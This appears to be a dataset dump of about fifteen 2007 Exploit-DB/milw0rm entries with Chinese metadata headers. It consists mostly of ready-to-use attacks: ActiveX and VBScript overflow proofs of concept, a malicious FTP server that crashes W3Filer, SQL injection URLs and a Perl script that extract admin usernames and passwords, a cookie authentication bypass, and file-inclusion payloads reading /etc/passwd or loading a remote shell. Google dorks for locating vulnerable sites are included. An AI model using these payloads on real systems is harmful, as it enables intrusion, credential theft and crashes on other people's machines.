QLWD/code_shield huggingface dataset:
标题: EnjoySAP ActiveX rfcguisink.rfcguisink.1 - Remote Heap Overflow (PoC) EDB-ID: 4149 CVE: 2007-3608 2007-3607 2007-3606 类型: DOS 平台: WINDOWS 发布日期: 2007-07-05 漏洞利用脚本: <!--
=======
Summary
=======
Name: EnjoySAP, SAP GUI for Windows - Heap Overflow
Release Date:  5 July 2007
Reference: NGS00482
Discover: Mark Litchfield <mark@ngssoftware.com>
Vendor: SAP
Vendor Reference: SECRES-290
Systems Affected: All ASCII Versions
Risk: High
Status: Fixed

========
TimeLine
========
Discovered:  4 January 2007
Released: 19 January 2007
Approved: 29 January 2007
Reported: 12 January 2007
Fixed: 27 March 2007
Published:

===========
Description
===========
EnjoySAP, also know as Enjoy is the most popular SAP GUI used today.  The
latest version can be obtained from ftp://ftp.sap.com/pub/sapgui/win/

When installing EnjoySAP, in appreciation of its vast size for being a
client (around 500MB), there are an astounding 1102 ActiveX controls
installed.

A relatively brief examinaton of these controls, found a large number of
instances that would terminate EnjoySAP process, there were a number that
could create files on the file system (there unfortunately exists no
ability to inject content into these created files) and a number of
bufferoverruns.

=================
Technical Details
=================
Control - rfcguisink.rfcguisink.1

Function - LaunchGui

POC:
-->

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>

function init()
{
var foo = "";

for(var icount = 0; icount < 1800; icount++)
{
 foo = foo + "x";
}
var ngssoftware;
ngssoftware = new ActiveXObject("rfcguisink.rfcguisink.1");

ngssoftware["LaunchGui"](foo, 1, 1);
}
//-->
</SCRIPT>

</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>

# milw0rm.com [2007-07-05] URL: https://www.exploit-db.com/exploits/4149
标题: sPHPell 1.01 - Multiple Remote File Inclusions EDB-ID: 4132 CVE: 2007-3522 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-30 漏洞利用脚本: sphpell - 1.01 Remote File Include
---------------------------------------------------------------------------------
Bulan: Cyber-security // Cyber-security.org
---------------------------------------------------------------------------------
script download:http://sourceforge.net/project/showfiles.php?group_id=82330

---------------------------------------------------------------------------------
ERROR [1];spellcheckpageinc.php?

              include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/checkpageinc.php?SpellIncPath=5h3LL
---------------------------------------------------------------------------------
ERROR [2];spellchecktext.php?

                   include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/spellchecktext.php? SpellIncPath=5h3LL
---------------------------------------------------------------------------------
ERROR [3];spellcheckwindow.php?

                        include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/spellcheckwindow.php?SpellIncPath=5h3LL
---------------------------------------------------------------------------------
ERROR [4];spellcheckwindowframeset.php?

                     include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/spellcheckwindowframeset.php?SpellIncPath=5h3LL

---------------------------------------------------------------------------------
d0rk: :(

# milw0rm.com [2007-06-30] URL: https://www.exploit-db.com/exploits/4132
标题: Easybe 1-2-3 Music Store - 'process.php' SQL Injection EDB-ID: 4134 CVE: 2007-3520 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-01 漏洞利用脚本: --==+================================================================================+==--
--==+               Easybe 1-2-3 Music Store  SQL Injection Vulnerability            +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.easybe.com/
DORK: intext:"Powered by the 1-2-3 music store"

DESCRIPTION: SQL injection in CatagoryID of process.php, able to retrieve admin/pass through
error message.

EXPLOIT: 
http://www.site.com/123music-path/process.php?pname=ShowAlbumProcess-Start&CategoryID=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/concat(0x31203C666F6E7420636F6C6F723D7265643E,login,0x3a,passwd,0x3C2F666F6E743E)/**/from/**/user/*

NOTE:
The CatagoryID value gets passed to a couple SELECT statements and we couldn't get
the results to display inline so we made the data you want to see red in the error msg.

Admin login is in /process.php?pname=ShowPageProcess-Start&page=admin/index

GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+               Easybe 1-2-3 Music Store  SQL Injection Vulnerability            +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-01] URL: https://www.exploit-db.com/exploits/4134
标题: W3Filer 2.1.3 - Remote Stack Overflow (PoC) EDB-ID: 4126 CVE: 2007-3548 类型: DOS 平台: WINDOWS 发布日期: 2007-06-29 漏洞利用脚本: /*
 W3Filer Buffer Overflow Vulnerability
                      DoS POC

            r0ut3r (writ3r [at] gmail.com)

Version: 2.1.3

Description: If the client recieves a large banner when 

attempting to send a file the application will freeze, 
resulting in the user having to kill the application. 
Alternatively the application will immediately crash with
an exception report. Either one of the above happens. The

EIP is overwritten with A's. Version 3.1.3 is not vulnerable. 

Timeline: 
06/27/2007 - Vulnerability discovered
06/28/2007 - Contacted vendor
06/29/2007 - Public release

This is dedicated to Jeremy Hammond

http://en.wikipedia.org/wiki/Jeremy_Hammond
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>

#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 21

int s, c;
struct sockaddr_in sock_addr;

int main()
{
 char evilbuf[1500];

 s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

 sock_addr.sin_family = PF_INET;
 sock_addr.sin_addr.s_addr = htonl(INADDR_ANY);
 sock_addr.sin_port = htons(PORT);

 bind(s, (struct sockaddr *)&sock_addr, sizeof(sock_addr));
 printf("[+] Listening...\n");


 listen(s, 5);
 printf("[*] Waiting for client\n");

 c = accept(s, NULL, NULL);
 printf("[!] Client connected\n");

 memset(evilbuf,'A',1500);
        memcpy(evilbuf,"220 ",4);

 memcpy(evilbuf+1497,"\r\n\0",3);
 printf("[+] Attempting buffer overflow\n");

 if (send(c, evilbuf, strlen(evilbuf), 0) == -1)
 {
  printf("[-] Error sending..\n");
  return 1;

 }

 printf("[+] Sent! did it crash?\n");
 return 0;
}

// milw0rm.com [2007-06-29] URL: https://www.exploit-db.com/exploits/4126
标题: HP Instant Support - Driver Check Remote Buffer Overflow (PoC) EDB-ID: 4137 CVE: 2007-3554 类型: DOS 平台: WINDOWS 发布日期: 2007-07-02 漏洞利用脚本: ----------------------------------------------------------------------------------
 HP Instant Support - Driver Check Remote Buffer Overflow Exploit

 author: Carlo Di Dato (aka shinnai)
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 Tested on Windows XP Professional SP2 full patched with IE7

 Special thanks to:
 rgod for his support and friendship
 John Morris from HP Software Security for his honesty
 str0ke... for being str0ke :)

 HP Security Bulletin:
 http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01077597
----------------------------------------------------------------------------------

 <html>
 <object classid='clsid:156BF4B7-AE3A-4365-BD88-95A75AF8F09D' id='test'></object>
  <script language = 'vbscript'>
   
   buff             = String(222, "A")

   get_EBP          = "cccc"

   get_EIP          = unescape("aaaa")

   buf1             = unescape("bbbb")

   second_exception = unescape("%00%00%92%00")

   first_exception  = unescape("%00%00%92%00")

   buf2             = String(4000, "B")

   egg              = buff + get_EBP + get_EIP + buf1 + second_exception + first_exception + buf2

   test.queryHub egg
 
 </script>
</html>

# milw0rm.com [2007-07-02] URL: https://www.exploit-db.com/exploits/4137
标题: ArcadeBuilder Game Portal Manager 1.7 - SQL Injection EDB-ID: 4133 CVE: 2007-3521 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-01 漏洞利用脚本: --==+================================================================================+==--
--==+               Game Portal Manager v1.7 SQL Injection Vulnerability             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.arcadebuilder.net/
DORK: intext:"Powered by Arcade Builder"

DESCRIPTION: The browser cookie is sql injectable, allowing admin access without knowing the password.

EXPLOIT: Using your prefered cookie editor make a cookie with the following;

Name: usercookie
Content: admin'/*
Host: www.somesite.com
Path: /


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+               Game Portal Manager v1.7 SQL Injection Vulnerability             +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-01] URL: https://www.exploit-db.com/exploits/4133
标题: Buddy Zone 1.5 - 'view_sub_cat.php?cat_id' SQL Injection EDB-ID: 4127 CVE: 2007-3549 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-29 漏洞利用脚本: --==+================================================================================+==--
--==+             Buddy Zone Version 1.5 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.vastal.com/buddy-zone-social-networking-script.html
DORK: allintext:"Powered By Buddy Zone"


DESCRIPTION: 
Remote sql injection in view_sub_cat.php cat_id, able to pull username/passwords of their admin and user accounts.


EXPLOITS:
http://www.site.com/view_sub_cat.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3C2F74643E,admin_user,0x3a,admin_password,0x3C62723E),4/**/FROM/**/admin_users/*
http://www.site.com/view_sub_cat.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3C2F74643E,member_email,0x3a,member_password,0x3C62723E),4/**/FROM/**/members/*


Tip/Note:
The Administrator's Panel is in /admin/.

GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net, and the ASFC/FM4 peeps !


--==+================================================================================+==--
--==+             Buddy Zone Version 1.5 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-29] URL: https://www.exploit-db.com/exploits/4127
标题: TotalCalendar 2.402 - 'view_event.php' SQL Injection EDB-ID: 4130 CVE: 2007-3515 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-30 漏洞利用脚本: --==+================================================================================+==--
--==+                TotalCalendar 2.402 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://sweetphp.com/nuke/index.php
DORK: allintext:"Powered by: TotalCalendar"

DESCRIPTION:
Remote SQL injection in view_event.php id, able to pull admin username/md5hash. 

EXPLOIT:
http://site.com/calender/path/view_event.php?id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,pw),5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/tcal_users/**/WHERE/**/uid=1/*

Tip/Note:
Login is in /auth.php?action=login
Older versions of this script are using magic quotes, while the newest is not.
The module version (ie: modules.php?name=totalcalendar) of this script has the vulnerabilities but php-nuke never lets them reach the module.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                TotalCalendar 2.402 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-30] URL: https://www.exploit-db.com/exploits/4130
标题: phpEventCalendar 0.2.3 - 'eventdisplay.php' SQL Injection EDB-ID: 4135 CVE: 2007-3519 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-01 漏洞利用脚本: #!/usr/bin/perl
#
# Vendor url: www.ikemcg.com
#
require LWP::UserAgent;

print "#
# phpEventCalendar <= v0.2.3 SQL Injection Exploit
# By Iron - ironwarez.info
# Thanks to Silentz for the help :)
# Greets to everyone at RootShell Security Group & dHack
#
# Example target url: http://www.target.com/phpeventcalendar/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
 $target = "http://".$target;
}
if($target !~ /\/$/)
{
 $target .= "/";
}
print "User id to retrieve name/password from? (1 = admin)";
chomp($target_id=<stdin>);
$target .= "eventdisplay.php?id=-999%20UNION%20SELECT%20username,password,password%20FROM%20pec_users%20WHERE%20uid=".$target_id;

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->get($target);

if ($response->is_success)
{
 if($response->content =~ /<span class="display_header">(.*)<\/span>/i)
 {
  ($username,$password) = split(/,/,$1);
  print "Username: ".$username;
  print "\nPassword: ".$password;
 }
 else
 {
  print "\nUnable to retrieve username/password.";
 }
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2007-07-01] URL: https://www.exploit-db.com/exploits/4135
标题: XCMS 1.1 - 'Galerie.php' Local File Inclusion EDB-ID: 4131 CVE: 2007-3523 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-30 漏洞利用脚本: #Author::   BlackNDoor | blackndoor@learntohell.net
#Homepage:: www.learntohell.net
#
#Script::   XCMS : CMS
#Version::  1.1
#Type::     Remote Directory Listing & Local File Include
#
#Source::   http://groupeclan.free.fr/XCMS.zip

#Bug::
   -> Files:

      /Module/Galerie.php.php

   -> vulncode:

      if(!isset($_GET['Lang'])) { $Lang="fr"; } else { $Lang=$_GET['Lang']; }
      if(!isset($_GET['Ent'])) { $Ent='false'; } else { $Ent=$_GET['Ent']; }
      include('Lang/' . $Lang . '.lang');  <--- Local File Include
      if($Ent)
      {
 $Nb = -1;
 $Dossier = opendir("../Images/$Lang/$Ent");  <--- Directory Listing


#Exploit::

   http://www.site.com/[path to XCMS]/Module/Galerie.php?Ent=../../../../../../etc/
   http://www.site.com/[path to XCMS]/Module/Galerie.php?Lang=../../../../../../etc/passwd%00

#thanks:: str0ke

# milw0rm.com [2007-06-30] URL: https://www.exploit-db.com/exploits/4131
标题: YouTube Clone Script - 'msg.php?id' SQL Injection EDB-ID: 4136 CVE: 2007-3518 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-02 漏洞利用脚本: --==+================================================================================+==--
--==+                YouTube Clone Script SQL Injection Vulnerability                +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.hispah.com/index.php?act=viewProd&productId=20
DORK: allinurl:"channel_detail.php?chid="

DESCRIPTION:
Remote SQL injection in msg.php id, able to pull admin user/pass.

EXPLOIT:
http://site.com/path/msg.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,0x7430705038755A7A20616E64207870726F67206F776E616765,convert(concat((SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F6E616D65),0x3a,(SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F70617373))/**/using/**/latin1),4,5,6,7,8,9/*


Tip/Note:
Majority of the sites require login to view msg.php None of the registration info is checked.

Admin Panel is in /siteadmin/



GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                YouTube Clone Script SQL Injection Vulnerability                +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-02] URL: https://www.exploit-db.com/exploits/4136
标题: GL-SH Deaf Forum 6.4.4 - Local File Inclusion EDB-ID: 4124 CVE: 2007-3535 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-28 漏洞利用脚本: ###GL-SH Deaf Board Version <= 6.4.4 local file inclusion###

#download: http://www.frank-karau.de/download/Deafforum_version_6.4.3.zip

#found by: Katatafish (karatatata@hush.com)

#google dork:"2005  www.frank-karau.de" | "2006  www.frank-karau.de"

#exploit:
http://www.site.com/[path]/functions.php?FORUM_LANGUAGE=../../../../../../../../../../../etc/passwd
http://www.site.com/[path]/bottom.php?style=../../../../../../.././etc/passwd%00

# milw0rm.com [2007-06-28] URL: https://www.exploit-db.com/exploits/4124
标题: WebChat 0.78 - 'login.php?rid' SQL Injection EDB-ID: 4125 CVE: 2007-3534 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-28 漏洞利用脚本: #########################################################################
#
#               [webchat 0.78]
#
# Class:     SQL Injection
# Published  28/06/2007
# Remote:    Yes
# Critical   Level : Dangerous
# Site:      http://sourceforge.net/projects/webdev-webchat/
# Download:  http://downloads.sourceforge.net/webdev-webchat/webchat-078.zip?modtime=1046649600&big_mirror=0
# Author:    r00t
#########################################################################


               Vulnerable code:
               login.php
======================================================
<?
       $q = new DB_Chat;
       $q->query("select * from room where rid='$rid'");
       if ($q->next_record()) {
?>
=======================================================

               Exploit :
============================================================================================================
http://www.site.com/[web_chat]/login.php?rid=-1'%20UNION%20ALL%20SELECT%20uid,pass,null,null,null%20from%20user%20WHERE%20uid=1/*
============================================================================================================

               Thanks To:
======================================================
All Root@Shell members;
White_Sheep;
SparrowRulez;
st0ke;
======================================================

# milw0rm.com [2007-06-28] URL: https://www.exploit-db.com/exploits/4125
标题: Ripe Website Manager (CMS) 0.8.9 - Remote File Inclusion EDB-ID: 4129 CVE: 2007-3524 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-30 漏洞利用脚本: #Author::   BlackNDoor | blackndoor@learntohell.net
#Homepage:: www.learntohell.net
#
#Script::   Ripe Wepsite Manager
#Version::  <= v0.8.9
#Type::     Remote File Include
#
#Source::   http://sourceforge.net/project/showfiles.php?group_id=194532

#Bug::
   -> Files:

      /admin/includes/author_panel_header.php
      /admin/includes/admin_header.php

   -> vulncode:

      <?php
         ...
         define("LEVEL", $level); // directory level
         
         // includes
           require(LEVEL.'../includes/config.php');
         ...
      ?>

#Exploit::

   http://www.site.com/[path to ripe]/admin/includes/author_panel_header.php?level=shell.txt?
   http://www.site.com/[path to ripe]/admin/includes/admin_header.php?level=shell.txt?

#thanks:: str0ke

# milw0rm.com [2007-06-30] URL: https://www.exploit-db.com/exploits/4129
标题: Buddy Zone 1.5 - Multiple SQL Injections EDB-ID: 4128 CVE: 2007-3526 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-30 漏洞利用脚本: --==+================================================================================+==--
--==+             Buddy Zone Version 1.5 And Prior SQL Injection Vulnerability       +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.vastal.com/buddy-zone-social-networking-script.html
DORK: allintext:"Powered By Buddy Zone"


DESCRIPTION:
Remote sql injection in view_sub_cat.php cat_id, able to pull username/passwords of their admin and user accounts.


EXPLOITS:
view_news.php
http://www.site.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(admin_user,0x3a,admin_password),3,4,5,6/**/FROM/**/admin_users/*
http://www.site.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(member_email,0x3a,member_password),3,4,5,6/**/FROM/**/members/*

view_events.php
http://www.site.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(member_email,0x3a,member_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/members/*
http://www.divineartists.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(admin_user,0x3a,admin_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/admin_users/*

video_gallery.php
http://www.site.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/admin_users/*
http://www.site.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(member_email,0x3a,member_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/members/*


Tip/Note:
The Administrator's Panel is in /admin/.

GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net, and the ASFC/FM4 peeps !


--==+================================================================================+==--
--==+             Buddy Zone Version 1.5 And Prior SQL Injection Vulnerability       +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-30] URL: https://www.exploit-db.com/exploits/4128